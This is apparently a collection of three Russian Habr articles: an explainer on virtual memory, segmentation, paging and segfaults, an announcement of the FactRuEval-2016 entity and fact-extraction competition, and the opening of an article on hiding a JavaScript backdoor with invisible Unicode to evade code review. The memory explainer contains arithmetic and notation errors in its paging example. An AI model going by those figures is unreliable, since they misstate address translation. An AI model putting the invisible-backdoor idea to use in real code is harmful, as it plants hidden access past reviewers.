Когда один программист будет писать код для выполнения задачи В, он должен знать границы выделяемых сегментов памяти. Допустим, задача В занимает в памяти отрезок от 10 до 12 Кб, тогда каждый адрес памяти должен быть жёстко закодирован в пределах этих границ. Но если компьютер будет выполнять сразу три задачи, то память будет поделена на большее количество сегментов, и значит сегмент для задачи В может оказаться сдвинут. Тогда код программы придётся переписывать, чтобы она могла оперировать меньшим объёмом памяти, а также изменить все указатели.
Здесь всплывает и иная проблема: что если задача В обратится к сегменту памяти, выделенному для задачи А? Такое легко может произойти, ведь при работе с указателями памяти достаточно сделать маленькую ошибку, и программа будет обращаться к совершенно другому адресу, нарушив целостность данных другого процесса. При этом задача А может работать с очень важными с точки зрения безопасности данными. Нет никакого способа помешать В вторгнуться в область памяти А. Наконец, вследствие ошибки программиста задача В может перезаписать область памяти ОС (в данном случае от 0 до 4 Кб).
### Адресное пространство
Чтобы можно было спокойно выполнять несколько задач, хранящихся в памяти, нам нужна помощь от ОС и оборудования. В частности, адресное пространство. Это некая абстракция памяти, выделяемая ОС для какого-то процесса. На сегодняшний день это фундаментальная концепция, которая используется везде. По крайней мере, во ВСЕХ компьютерах гражданского назначения принят именно этот подход, а у военных могут быть свои секреты. Персоналки, смартфоны, телевизоры, игровые приставки, умные часы, банкоматы — ткните в любой аппарат, и окажется, что распределение памяти в нём осуществляется по принципу «код-стек-куча» (code-stack-heap).
Адресное пространство содержит всё, что нужно для выполнения процесса:
* Машинные инструкции, которые должен выполнить ЦПУ.
* Данные, с которыми будут работать эти машинные инструкции.
Схематически адресное пространство делится следующим образом:
* Стек (stack) — это область памяти, в которой программа хранит информацию о вызываемых функциях, их аргументах и каждой локальной переменной в функциях. Размер области может меняться по мере работы программы. При вызове функций стек увеличивается, а при завершении — уменьшается.
* Куча (heap) — это область памяти, в которой программа может делать всё, что заблагорассудится. Размер области может меняться. Программист имеет возможность воспользоваться частью памяти кучи с помощью функции `malloc()`, и тогда эта область памяти увеличивается. Возврат ресурсов осуществляется с помощью `free()`, после чего куча уменьшается.
* Кодовый сегмент (code) — это область памяти, в которой хранятся машинные инструкции скомпилированной программы. Они генерируются компилятором, но могут быть написаны и вручную. Обратите внимание, что эта область памяти также может быть разделена на три части (текст, данные и BSS). Эта область памяти имеет фиксированный размер, определяемый компилятором. В нашем примере пусть это будет 1 Кб.
Поскольку стек и куча могут меняться в размерах, они размещены в противоположных частях общего адресного пространства. Направления изменения их размеров показаны стрелками. В обязанности ОС входит контроль над тем, чтобы эти области не наложились друг на друга.
### Виртуализация памяти
Допустим, задача А получила в своё распоряжение всю доступную пользовательскую память. И тут возникает задача В. Как быть? Решение было найдено в **виртуализации**.
Напомню одну из предыдущих иллюстраций, когда в памяти одновременно находятся А и В:
Допустим, А пытается получить доступ к памяти в собственном адресном пространстве, например по индексу 11 Кб. Возможно даже, что это будет её собственный стек. В этом случае ОС нужно придумать, как не подгружать индекс 1500, поскольку по факту он может указывать на область задачи В.
На самом деле, адресное пространство, которое каждая программа считает своей памятью, является **памятью виртуальной**. *Фальшивкой*. И в области памяти задачи А индекс 11 Кб будет фальшивым адресом. То есть — адресом виртуальной памяти.
**Каждая программа, выполняющаяся на компьютере, работает с фальшивой (виртуальной) памятью**. С помощью некоторых чипов ОС обманывает процесс, когда он обращается к какой-либо области памяти. Благодаря виртуализации ни один процесс не может получить доступ к памяти, которая ему не принадлежит: задача А не влезет в память задачи В или самой ОС. При этом на пользовательском уровне всё абсолютно прозрачно, благодаря обширному и сложному коду ядра ОС.
Таким образом, каждое обращение к памяти регулируется операционной системой. И это должно осуществляться очень эффективно, чтобы не слишком замедлять работу различных выполняющихся программ. Эффективность обеспечивается с помощью аппаратных средств, преимущественно — ЦПУ и некоторых компонентов вроде [MMU](https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C%D1%8E). Последний появился в виде отдельного чипа в начале 1970-х, а сегодня MMU встраиваются непосредственно в процессор и в обязательном порядке используются операционными системами.
Вот небольшая программка на С, демонстрирующая работу с адресами памяти:
```
#include
#include
int main(int argc, char \*\*argv)
{
int v = 3;
printf("Code is at %p \n", (void \*)main);
printf("Stack is at %p \n", (void \*)&v);
printf("Heap is at %p \n", malloc(8));
return 0;
}
```
На моей машине LP64 X86\_64 она показывает такой результат:
`Code is at 0x40054c`
`Stack is at 0x7ffe60a1465c`
`Heap is at 0x1ecf010`
Как я и описывал, сначала идёт кодовый сегмент, затем куча, а затем стек. Но все эти три адреса фальшивые. В физической памяти по адресу 0x7ffe60a1465c вовсе не хранится целочисленная переменная со значением 3. Никогда не забывайте, что все пользовательские программы манипулируют виртуальными адресами, и только на уровне ядра или аппаратных драйверов допускается использование адресов физической памяти.
### Переадресация
Переадресация (транслирование, перевод, преобразование адресов) — это термин, обозначающий процесс сопоставления виртуального адреса физическому. Занимается этим модуль MMU. Для каждого выполняющегося процесса операционка должна помнить соответствия всех виртуальных адресов физическим. И это довольно непростая задача. По сути, ОС приходится управлять памятью каждого пользовательского процесса при каждом обращении. Тем самым она превращает кошмарную реальность физической памяти в полезную, мощную и лёгкую в использовании абстракцию.
Давайте рассмотрим подробнее.
Когда запускается процесс, ОС бронирует для него фиксированный объём физической памяти, пусть это будет 16 Кб. Начальный адрес этого адресного пространства сохраняется в специальной переменной `base`. А в переменной `bounds` записывается размер выделенной области памяти, в нашем примере — 16 Кб. Эти два значения записываются в каждую таблицу процессов — PCB ([Process Control Block](https://en.wikipedia.org/wiki/Process_control_block)).
Итак, это виртуальное адресное пространство:
А это его физический образ:
ОС решает выделить диапазон физических адресов от 4 до 20 Кб, то есть значение `base` равно 4 Кб, а значение `bounds` равно 4 + 16 = 20 Кб. Когда процесс ставится в очередь на выполнение (ему выделяется процессорное время), ОС считывает из PCB значения обеих переменных и копирует их в специальные регистры ЦПУ. Далее процесс запускается и пытается обратиться, допустим, к виртуальному адресу 2 Кб (в своей куче). К этому адресу ЦПУ добавляет значение `base`, полученное от ОС. Следовательно, физический адрес будет 2+ 4 = 6 Кб.
**Физический адрес = виртуальный адрес + base**
Если получившийся физический адрес (6 Кб) выбивается из границ выделенной области (4—20 Кб), это означает, что процесс пытается обратиться к памяти, которая ему не принадлежит. Тогда ЦПУ генерирует исключение и сообщает об этом ОС, которая обрабатывает данное исключение. В этом случае система обычно сигнализирует процессу о нарушении: [SIGSEGV](https://ru.wikipedia.org/wiki/SIGSEGV), Segmentation Fault. Этот сигнал по умолчанию прерывает выполнение процесса (это можно настраивать).
### Перераспределение памяти
Если задача А исключена из очереди на выполнение, то это даже лучше. Это означает, что планировщик попросили выполнить другую задачу (допустим, В). Пока выполняется В, операционка может перераспределить всё физическое пространство задачи А. Во время выполнения пользовательского процесса ОС зачастую теряет управление процессором. Но когда процесс делает системный вызов, процессор снова возвращается под контроль ОС. До этого системного вызова операционка может что угодно делать с памятью, в том числе и целиком перераспределять адресное пространство процесса в другой физический раздел.
В нашем примере это осуществляется достаточно просто: ОС перемещает 16-килобайтную область в другое свободное место подходящего размера и просто обновляет значения переменных base и bounds для задачи А. Когда процессор возвращается к её выполнению, процесс переадресации всё ещё работает, но физическое адресное пространство уже изменилось.
С точки зрения задачи А ничего не меняется, её собственное адресное пространство по-прежнему расположено в диапазоне 0-16 Кб. При этом ОС и MMU полностью контролируют каждое обращение задачи к памяти. То есть программист манипулирует виртуальной областью 0-16 Кб, а MMU берёт на себя сопоставление с физическими адресами.
После перераспределения образ памяти будет выглядеть так:
Программисту теперь не нужно заботиться о том, с какими адресами памяти будет работать его программа, не нужно переживать о конфликтах. ОС в связке с MMU снимают с него все эти заботы.
### Сегментация памяти
В предыдущих главах мы рассмотрели вопросы переадресации и перераспределения памяти. Однако у нашей модели работы с памятью есть ряд недостатков:
* Мы предполагаем, что каждое виртуальное адресное пространство имеет размер в 16 Кб. Это не имеет никакого отношения к действительности.
* ОС приходится поддерживать список свободных диапазонов физической памяти размером по 16 Кб, чтобы выделять их для новых запускаемых процессов или перераспределения текущих выделенных областей. Как можно эффективно осуществлять всё это, не ухудшив производительность всей системы?
* Мы выделяем по 16 Кб каждому процессу, но ведь не факт, что каждый из них будет использовать всю выделенную область. Так что мы просто теряем кучу памяти на пустом месте. Это называется внутренней фрагментацией (internal fragmentation) — память резервируется, но не используется.
Для решения некоторых из этих проблем давайте рассмотрим более сложную систему организации памяти — сегментацию. Смысл её прост: принцип “base and bounds” распространяется на все три сегмента памяти — кучу, кодовый сегмент и стек, причём для каждого процесса, вместо того чтобы рассматривать образ памяти как единую уникальную сущность.
В результате мы больше не теряем память между стеком и кучей:
Как вы могли заметить, свободное пространство в виртуальной памяти задачи А больше не размещено в памяти физической. И память теперь используется гораздо эффективнее. ОС теперь должна запоминать для каждой задачи три пары `base` и `bounds`, по одной для каждого сегмента. MMU, как и раньше, занимается переадресацией, но оперирует уже тремя `base`и тремя `bounds`.
Допустим, у кучи задачи А параметр `base` равен 126 Кб, а bounds — 2 Кб. Пусть задача А обращается к виртуальному адресу 3 Кб (в куче). Тогда физический адрес определяется как 3 – 2 Кб (начало кучи) = 1 Кб + 126 Кб (сдвиг) = 127 Кб. Это меньше 128, а значит ошибки обращения не будет.
### Совместное использование сегментов
Сегментирование физической памяти не только не позволяет виртуальной памяти отъедать физическую, но также даёт возможность совместного использования физических сегментов с помощью виртуальных адресных пространств разных процессов.
Если дважды запустить задачу А, то кодовый сегмент у них будет один и тот же: в обеих задачах выполняются одинаковые машинные инструкции. В то же время у каждой задачи будут свои стек и куча, поскольку они оперируют разными наборами данных.
При этом оба процесса не подозревают, что делят с кем-то свою память. Такой подход стал возможен благодаря внедрению битов защиты сегмента (segment protection bits).
Для каждого создаваемого физического сегмента ОС регистрирует значение `bounds`, которое используется MMU для последующей переадресации. Но в то же время регистрируется и так называемый флаг разрешения (permission flag).
Поскольку сам код нельзя модифицировать, то все кодовые сегменты создаются с флагами RX. Это значит, что процесс может загружать эту область памяти для последующего выполнения, но в неё никто не может записывать. Другие два сегмента — куча и стек — имеют флаги RW, то есть процесс может считывать и записывать в эти свои два сегмента, однако код из них выполнять нельзя. Это сделано для обеспечения безопасности, чтобы злоумышленник не мог повредить кучу или стек, внедрив в них свой код для получения root-прав. Так было не всегда, и для высокой эффективности этого решения требуется аппаратная поддержка. В процессорах Intel это называется “[NX bit](https://ru.wikipedia.org/wiki/NX_bit)”.
Флаги могут быть изменены в процессе выполнения программы, для этого используется [mprotect()](http://man7.org/linux/man-pages/man2/mprotect.2.html).
Под Linux все эти сегменты памяти можно посмотреть с помощью утилит */proc/{pid}/maps* или */usr/bin/pmap*.
Вот пример на PHP:
```
$ pmap -x 31329
0000000000400000 10300 2004 0 r-x-- php
000000000100e000 832 460 76 rw--- php
00000000010de000 148 72 72 rw--- [ anon ]
000000000197a000 2784 2696 2696 rw--- [ anon ]
00007ff772bc4000 12 12 0 r-x-- libuuid.so.0.0.0
00007ff772bc7000 1020 0 0 ----- libuuid.so.0.0.0
00007ff772cc6000 4 4 4 rw--- libuuid.so.0.0.0
... ...
```
Здесь есть все необходимые подробности относительно распределения памяти. Адреса виртуальные, отображаются разрешения для каждой области памяти. Каждый совместно используемый объект (.so) размещён в адресном пространстве в виде нескольких частей (обычно код и данные). Кодовые сегменты являются исполняемыми и совместно используются в физической памяти всеми процессами, которые разместили подобный совместно используемый объект в своём адресном пространстве.
Shared Objects — это одно из крупнейших преимуществ Unix- и Linux-систем, обеспечивающее экономию памяти.
Также с помощью системного вызова [mmap()](http://man7.org/linux/man-pages/man2/mmap.2.html) можно создавать совместно используемую область, которая преобразуется в совместно используемый физический сегмент. Тогда у каждой области появится индекс s, означающий shared.
### Ограничения сегментации
Итак, сегментация позволила решить проблему неиспользуемой виртуальной памяти. Если она не используется, то и не размещается в физической памяти благодаря использованию сегментов, соответствующих именно объёму используемой памяти.
Но это не совсем верно.
Допустим, процесс запросил у кучи 16 Кб. Скорее всего, ОС создаст в физической памяти сегмент соответствующего размера. Если пользователь потом освободит из них 2 Кб, тогда ОС придётся уменьшить размер сегмента до 14 Кб. Но вдруг потом программист запросит у кучи ещё 30 Кб? Тогда предыдущий сегмент нужно увеличить более чем в два раза, а возможно ли это будет сделать? Может быть, его уже окружают другие сегменты, не позволяющие ему увеличиться. Тогда ОС придётся искать свободное место на 30 Кб и перераспределять сегмент.
Главный недостаток сегментов заключается в том, что из-за них физическая память сильно фрагментируется, поскольку сегменты увеличиваются и уменьшаются по мере того, как пользовательские процессы запрашивают и освобождают память. А ОС приходится поддерживать список свободных участков и управлять ими.
Фрагментация может привести к тому, что какой-нибудь процесс запросит такой объём памяти, который будет больше любого из свободных участков. И в этом случае ОС придётся отказать процессу в выделении памяти, даже если **суммарный** объём свободных областей будет существенно больше.
ОС может попытаться разместить данные компактнее, объединяя все свободные области в один большой чанк, который в дальнейшем можно использовать для нужд новых процессов и перераспределения.
Но подобные алгоритмы оптимизации сильно нагружают процессор, а ведь его мощности нужны для выполнения пользовательских процессов. Если ОС начинает реорганизовывать физическую память, то система становится недоступной.
Так что сегментация памяти влечёт за собой немало проблем, связанных с управлением памятью и многозадачностью. Нужно как-то улучшить возможности сегментации и исправить недостатки. Это достигается с помощью ещё одного подхода — страниц виртуальной памяти.
### Разбиение памяти на страницы
Как было сказано выше, главный недостаток сегментации заключается в том, что сегменты очень часто меняют свой размер, и это приводит к фрагментации памяти, из-за чего может возникнуть ситуация, когда ОС не выделит для процессов нужные области памяти. Эта проблема решается с помощью страниц: каждое размещение, которое ядро делает в физической памяти, имеет фиксированный размер. То есть страницы — это области физической памяти фиксированного размера, ничего более. Это сильно облегчает задачу управления свободным объёмом и избавляет от фрагментации.
Давайте рассмотрим пример: виртуальное адресное пространство объёмом 16 Кб разбито на страницы.
Мы не говорим здесь о куче, стеке или кодовом сегменте. Просто делим память на куски по 4 Кб. Затем то же самое делаем с физической памятью:
ОС хранит таблицу страниц процесса (process page table), в которой представлены взаимосвязи между страницей виртуальной памяти процесса и страницей физической памяти (страничный кадр, page frame).
Теперь мы избавились от проблемы поиска свободного места: страничный кадр либо используется, либо нет (unused). И ядру не в пример легче найти достаточное количество страниц, чтобы выполнить запрос процесса на выделение памяти.
Страница — это мельчайшая и неделимая единица памяти, которой может оперировать ОС.
У каждого процесса есть своя таблица страниц, в которой представлена переадресация. Здесь уже используются не значения границ области, а номер виртуальной страницы (VPN, virtual page number) и сдвиг (offset).
Пример: размер виртуального пространства 16 Кб, следовательно, нам нужно 14 бит для описания адресов (214 = 16 Кб). Размер страницы 4 Кб, значит нам нужно 4 Кб (16/4), чтобы выбрать нужную страницу:
Когда процесс хочет использовать, например, адрес 9438 (вне границ 16 384), то он запрашивает в двоичном коде 10.0100.1101.1110:
Это 1246-й байт в виртуальной странице номер 2 («0100.1101.1110»-й байт в «10»-й странице). Теперь ОС достаточно просто обратиться к таблице страниц процесса, чтобы найти эту страницу номер 2. В нашем примере она соответствует восьмитысячному байту физической памяти. Следовательно, виртуальный адрес 9438 соответствует физическому адресу 9442 (8000 + сдвиг 1246).
Как уже было сказано, каждый процесс обладает лишь одной таблицей страниц, поскольку у каждого процесса собственная переадресация, как и у сегментов. Но где же именно хранятся все эти таблицы? Наверное, в физической памяти, где же ещё им быть?
Если сами таблицы страниц хранятся в памяти, то для получения VPN надо обращаться к памяти. Тогда количество обращений к ней удваивается: сначала мы извлекаем из памяти номер нужной страницы, а затем обращаемся к самим данным, хранящимся в этой странице. И если скорость доступа к памяти невелика, то ситуация выглядит довольно грустно.
### Буфер быстрой переадресации (TLB, Translation-lookaside Buffer)
Использование страниц в качестве основного инструмента поддержки виртуальной памяти может привести к сильному снижению производительности. Разбиение адресного пространства на небольшие куски (страницы) требует хранения большого количества данных о размещении страниц. А раз эти данные хранятся в памяти, то при каждом обращении процесса к памяти осуществляется ещё одно, дополнительное обращение.
Для поддержания производительности снова используется помощь оборудования. Как и при сегментации, мы аппаратными методами помогаем ядру эффективно осуществлять переадресацию. Для этого используется TLB, входящий в состав MMU, и представляющий собой простой кэш для некоторых VPN-переадресаций. TLB позволяет ОС не обращаться к памяти лишний раз, чтобы получить физический адрес из виртуального.
Аппаратный MMU инициируется при каждом обращении к памяти, извлекает из виртуального адреса VPN и запрашивает у TLB, хранится ли в нём переадресация с этого VPN. Если да, то его роль выполнена. Если нет, то MMU находит нужную таблицу страниц процесса, и если она ссылается на валидный адрес, то обновляет данные в TLB, чтобы тот предоставлял их при следующем обращении.
Как вы понимаете, если в кэше отсутствует нужная переадресация, то это замедляет обращение к памяти. Можно предположить, что чем больше размер страниц, тем больше вероятность, что в TLB окажутся нужные данные. Но тогда мы будем тратить больше памяти на каждую страницу. Так что здесь нужен какой-то компромисс. Современные ядра умеют использовать страницы разных размеров. Например, Linux способен оперировать «огромными» страницами по 2 Мб вместо традиционных 4 Кб.
Также рекомендуется хранить данные компактно, в смежных адресах памяти. Если вы раскидаете их по всей памяти, то куда чаще в TLB не будет обнаруживаться нужной переадресации, либо он будет постоянно переполняться. Это называется эффективностью пространственной локальности (spacial locality efficiency): данные, которые расположены в памяти сразу за вашими, могут размещаться в той же физической странице, и тогда благодаря TLB вы получите выигрыш в производительности.
Кроме того, TLB в каждой записи хранит так называемые ASID (Address Space Identifier, идентификатор адресного пространства). Это нечто вроде PID, [идентификатора процесса](https://ru.wikipedia.org/wiki/%D0%98%D0%B4%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%B0). Каждый процесс, поставленный в очередь на выполнение, имеет собственный ASID, и TLB может управлять обращением любого процесса к памяти, без риска ошибочных обращений со стороны других процессов.
Повторимся снова: если пользовательский процесс пытается обратиться к неправильному адресу, тот наверняка будет отсутствовать в TLB. Следовательно, будет запущена процедура поиска в таблице страниц процесса. В ней хранится переадресация, но с неправильным набором битов. В х86-системах переадресации имеют размер 4 Кб, то есть битов в них немало. А значит есть вероятность найти правильный бит, равно как и другие вещи, наподобие бита изменения («грязного бита», dirty bit), битов защиты (protection bit), бита обращения (reference bit) и т.д. И если запись помечена как неправильная, то ОС по умолчанию выдаст SIGSEGV, что приведёт к ошибке “segmentation fault”, даже если о сегментах уже и речи не идёт.
На самом деле разбиение памяти на страницы в современных ОС устроено куда сложнее, чем я расписал. В частности, используются многоуровневые записи в таблицах страниц, многостраничные размеры, вытеснение страниц (page eviction), также известное как «обмен» (ядро скидывает страницы из памяти на диск и обратно, что повышает эффективность использования основной памяти и создаёт у процессов иллюзию её неограниченности).
### Заключение
Теперь вы знаете, что стоит за сообщением “segmentation fault”. Раньше операционки использовали сегменты для размещения пространства виртуальной памяти в пространстве физической. Когда пользовательский процесс хочет обратиться к памяти, то он просит MMU переадресовать его. Но если полученный адрес ошибочен, — находится вне пределов физического сегмента, или если сегмент не имеет нужных прав (попытка записи в read only-сегмент), — то ОС по умолчанию отправляет сигнал SIGSEGV, что приводит к прерыванию выполнения процесса и выдаче сообщения “segmentation fault”. В каких-то ОС это может быть “General protection fault”. Вы можете изучить исходный код Linux для х86/64-платформ, отвечающий за [ошибки доступа к памяти](http://lxr.free-electrons.com/source/arch/x86/mm/fault.c), в частности — за [SIGSEGV](http://lxr.free-electrons.com/source/arch/x86/mm/fault.c#L731). Также можете посмотреть, как на этой платформе осуществляется [сегментирование](http://lxr.free-electrons.com/source/arch/x86/include/asm/segment.h#L8). Вы откроете для себя интересные моменты относительно разбиения на страницы, дающие куда больше возможностей, чем при использовании классических сегментов. | https://habr.com/ru/post/277759/ | null | ru | null |
# FactRuEval — соревнование по выделению именованных сущностей и извлечению фактов
Соревнования по различным аспектам анализа текста проводятся на международной конференции по компьютерной лингвистике «Диалог» каждый год. Обычно сами соревнования проходят в течение нескольких месяцев до мероприятия, а на самой конференции объявляют результаты. В этом году планируются три соревнования:
* по выделению именованных сущностей и фактов – [FactRuEval](http://www.dialog-21.ru/evaluation/2016/letter/);
* по анализу тональности – [SentiRuEval](http://www.dialog-21.ru/evaluation/2016/tonality/);
* по исправлению опечаток – [SpellRuEval](http://www.dialog-21.ru/evaluation/SpellingCorrection/).
Статья, которую вы начали читать, преследует три цели. Первая – мы хотели бы пригласить разработчиков систем автоматического анализа текстов принять участие в соревнованиях. Вторая – мы ищем помощников, которые могли бы разметить текстовые коллекции, на которых будут проверяться системы наших участников (это, во-первых, интересно, а во-вторых – вы сможете принести реальную пользу науке). Ну а третья – соревнования по выделению именованных сущностей и фактов проводятся на “Диалоге” впервые, и мы хотим рассказать всем заинтересованным читателям, как они будут происходить.
Соревнования по фактографическому поиску «у них»
================================================
Западные компьютерные лингвисты давно уделяют внимание извлечению фактов из текстов. Первая конференция-соревнование называлась Message Understanding Conference (MUC) и прошла в 1987 году. Мероприятие финансировалось военными (DARPA), и тематика текстов вначале была сфокусирована на их интересах: отчёты о военно-морских операциях и терроризм в латиноамериканских странах. Потом были новостные статьи на экономическую тематику, статьи о запусках ракет и авикатастрофах.
Начиная с 1999 года соревнования продолжились в рамках программы Automatic Content Extraction (ACE) и уже не ограничивались английским языком (добавили китайский и арабский). Участникам предлагались следующие задачи:
* выделение сущностей (Entity Detection and Tracking) – различали семь типов (персона, организация, локация, предприятие, оружие, транспортное средство и гео-политическая сущность) с подтипами.
* выделение отношений (Relation Detection and Characterization) – пространственные отношения, родственные и деловые отношения между персонами, места работы, членство в организациях, владение, национальность и другие.
* выделение событий (Event Detection and Characterization) – взаимодействие, движение, перемещение, создание и разрушение.
Подробный инструкции для задач на ACE в разные годы доступны на сайте [Linguistic Data Consortium](https://www.ldc.upenn.edu/collaborations/past-projects/ace/annotation-tasks-and-specifications).
C 2009 года похожие по содержанию задачи были представлены в разделе Knowledge Base Population на [Text Analysis Conference (TAC)](http://www.nist.gov/tac/tracks/index.html). В 2015 году в KBP вошли такие треки:
* Cold Start KBP — дана схема базы данных и большая коллекция текстов; необходимо заполнить БД информацией о встречающихся в текстах объектах и отношениях между ними.
* Tri-Lingual Entity Discovery and Linking – дана непустая база данных и коллекция текстов на трёх языках (английский, китайский, испанский); необходимо выделить из текстов упоминания имеющихся в БД объектов и привязать эти упоминания к объектам из БД. Отсутствующие в БД объекты нужно туда добавить.
* Event Track – извлечение информации о событиях и их атрибутах.
* Validation/Ensembling Track – улучшение результатов работы системы, извлекающей из текста атрибуты объектов, путём объединения ответов нескольких таких систем или дополнительной их лингвистической обработки.
Публикации по результатам TAC Workshops находятся [на сайте NIST](http://www.nist.gov/tac/publications/index.html).
А как у нас?
============
Первые соревнования по фактографическому поиску у нас проводились в 2004-2006 гг. в рамках [семинара РОМИП](http://www.romip.ru).
В 2004 году [в дорожке по фактам](http://romip.ru/ru/2004/tracks/web-qa.html) давалась коллекция текстов и список персон (например: Стинг, английский поп-певец). Необходимо было найти в коллекции факты (события), связанные с этой персоной, и предоставить список документов и координаты фрагментов в них (начало фрагмента и его длину), где эти события упомянуты.
В 2005 и 2006 годах предлагалось [несколько задач в этом направлении](http://romip.ru/ru/2005/tracks/qa.html):
* выделение именованных сущностей (персона, организация, географический объект, прочее);
* выделение фактов нескольких типов (место работы, владение организацией).
С тех пор прошло около 10 лет. За это время специалистами в области компьютерной лингвистики, интеллектуального анализа данных и других смежных направлений было сделано довольно много. Причём как большими компаниями, так и небольшими исследовательскими группами. Однако в свободном доступе мало достоверной информации о полученных результатах. И вот теперь в рамках конференции “Диалог” пройдёт независимое сравнительное тестирование систем извлечения информации для русского языка, результаты которого будут доступны всем желающим.
Соревнование FactRuEval-2016 будет включать три дорожки: две по выделению именованных сущностей и одна по извлечению фактов. Все три дорожки будут оцениваться на одной коллекции современных новостных текстов. Далее я на одном коротком примере объясню задачу каждой из дорожек. Текст будет такой:
```
Глава села Мартышкино Иван Петров заявил, что в Мартышкино …
0 1 2 3 4 5 6
01234567890123456789012345678901234567890123456789012345678901
```
Дорожка №1: именованные сущности
--------------------------------
Задача первой дорожки состоит в том, чтобы выделить каждое вхождение именованной сущности в текст и определить её тип. Т.е. в приведённом выше тексте должно быть выделено три сущности: «село Мартышкино», персона «Иван Петров» и ещё раз «Мартышкино». В качестве ответа в этой задаче нужно сгенерировать текстовый файл, в котором для каждой сущности будет указан тип, номер первой буквы выделенного фрагмента от начала текста и его длина:
```
LOC 6 15
PER 22 11
LOC 48 10
```
Дорожка №2: идентификация сущностей и атрибуты
----------------------------------------------
В этой дорожке уже не нужно привязывать сущности к позициям в тексте. Вместо этого нужно связать все упоминания одной и той же сущности в рамках текста в один объект и определить атрибуты этого объекта. Например, в обсуждаемом примере «Мартышкино» упоминается дважды, однако в выдаче оно должно появиться только один раз. Для персон должны быть отдельно указаны фамилия, имя, отчество и прозвище. Окончательный результат будет таким:
```
PER
Firstname:Иван
Lastname:Петров
LOC
Name:село Мартышкино
```
Дорожка №3: Извлечение фактов
-----------------------------
Факт – это отношение между несколькими объектами. У факта есть тип и набор полей. Например: тип факта – Occupation, поля – Who, Where, Position и Phase (начал, закончил или неопределено). В этом году мы будем извлекать несколько типов фактов:
* Occupation (работа персоны в организации)
* Deal (сделка между несколькими сторонами без указания её предмета и условий)
* Ownership (владение организацией)
* Meeting (встреча нескольких персон)
Из нашего примера должен быть извлечён один факт: Иван Петров работает в селе «Мартышкино» главой.
```
Occupation
Who:Иван Петров
Where:село Мартышкино
Position:глава
```
У соревнований по фактографическому поиску всегда довольно объёмные руководства по разметке, и это соревнование не стало исключением. Участникам необходимо изучить [“Описание дорожек”](http://www.dialog-21.ru/adx/aspx/adxGetMedia.aspx?DocID=6258b1c6-642e-418f-b63a-0797db6b3521) и [“Формат выдачи результатов”](http://www.dialog-21.ru/adx/aspx/adxGetMedia.aspx?DocID=517c86f1-9156-4d48-b132-19d8be8bc7f1).
Оценка результатов
------------------
Соревнование пройдёт в январе 2016. Перед его началом участникам будет предоставлена демонстрационная коллекция размеченных текстов и программа-компаратор, при помощи которой можно будет самостоятельно оценить свои результаты. Компаратор будет опубликован в виде исходного кода на Python. На доработку своих систем и приведение результатов их работы в ожидаемому формату будет дано несколько недель.
После этого, чтобы оценить качество работы систем участников соревнования, им будет предоставлена тестовая коллекция, в которую входит несколько сотен заранее размеченных документов. Поскольку несколько сотен документов чисто теоретически участники могут разметить вручную, то в тестовую коллекцию будет добавлено ещё несколько десятков тысяч документов из тех же источников, что и заранее размеченные документы. На разметку всех этих документов будет дано два дня. Результаты работы систем в описанном формате будут переданы оргкомитету.
Коллекция текстов
-----------------
Корпус текстов соревнования состоит из новостных и аналитических текстов на общественно-политическую тему на русском языке. Источниками текстов являются следующие издания:
* “Частный корреспондент” [www.chaskor.ru](http://www.chaskor.ru/)
* “Викиновости” [ru.wikinews.org](https://ru.wikinews.org)
* “Лентапедия” [ru.wikisource.org/wiki/Лентапедия](https://ru.wikisource.org/wiki/%D0%9B%D0%B5%D0%BD%D1%82%D0%B0%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F)
Корпус разделён на две части: демонстрационная и тестовая. Соотношение количества текстов из разных источников в этих двух частях одинаково. Сбалансированность по каким бы то ни было другим показателям не гарантируется.
Работы по разметке этой коллекции текстов идут сейчас на сайте OpenCorpora.org. Мы приглашаем всех заинтересованных присоединиться к этим работам. О том, как устроена разметка, написано в отдельной статье [“Как, читая новости, приносить пользу науке?”](http://geektimes.ru/post/267774/). Подробная инструкция по разметке находится [здесь](http://opencorpora.org/wiki/Nermanual/2).
Задача размечающих корпус состоит в том, чтобы найти в тексте имена, фамилии и отчества людей, названия организаций и географические названия, выделить их мышью и выбрать тип выделенного объекта. Для организаций и географических названий нужно также указать дескриптор (слово или словосочетание, обозначающее родовое понятие). После этого, выделенные фрагменты текста (спаны) нужно объединить в упоминания объектов. Например, имя и фамилию нужно объединить в упоминание объекта типа Person, а дескриптор организации (“НИИ”) и её название (“НИИ транспорта и дорожного хозяйства”) нужно объединить в упоминание объекта типа Org. Список упоминаний объектов, который должен получиться в итоге, показан на следующей картинке. В инструкции подробно разобраны примеры и сложные случаи, возникающие при разметке.
Как принять участие в соревновании?
===================================
Можно участвовать в любой из объявленных дорожек или во всех сразу. Вам нужно научить вашу систему выводить результаты в описанном формате. После этого с помощью компаратора оцените её работу на демонстрационной части коллекции (как только будет закончена её разметка, мы её опубликуем). Внесите необходимые изменения, в соответствии с найденными расхождениями.
В самое ближайшее время мы просим потенциальных участников [зарегистрироваться](https://docs.google.com/forms/d/1dXvpZGoQi9PXhWFtyAAOtRyjmkUhYmQzlsL27xFKTiM/viewform) (мы будем присылать вам новости и сообщим о начале процедуры оценки результатов) и помочь [доразметить корпус (страница с заданиями доступна после логина на OpenCorpora)](http://opencorpora.org/ner.php). Мы бы хотели как можно быстрее опубликовать его демонстрационную часть.
Мы также будем рады любым комментариям и предложениям здесь или письмом. | https://habr.com/ru/post/273965/ | null | ru | null |
# Невидимый Javascript-бэкдор
Несколько месяцев назад мы увидели [пост](https://www.reddit.com/r/programminghorror/comments/o9dm6r/i_was_getting_errors_and_couldnt_pinpoint_it/) в сабреддите *r/programminghorror*: один разработчик рассказал о своих мучениях с поиском синтаксической ошибки, вызванной невидимым символом Unicode, скрывавшемся в исходном коде на JavaScript. Этот пост вдохновил нас на мысль: что если бэкдор *в буквальном смысле* нельзя было бы *увидеть* и таким образом он бы избежал *тщательных* проверок кода?
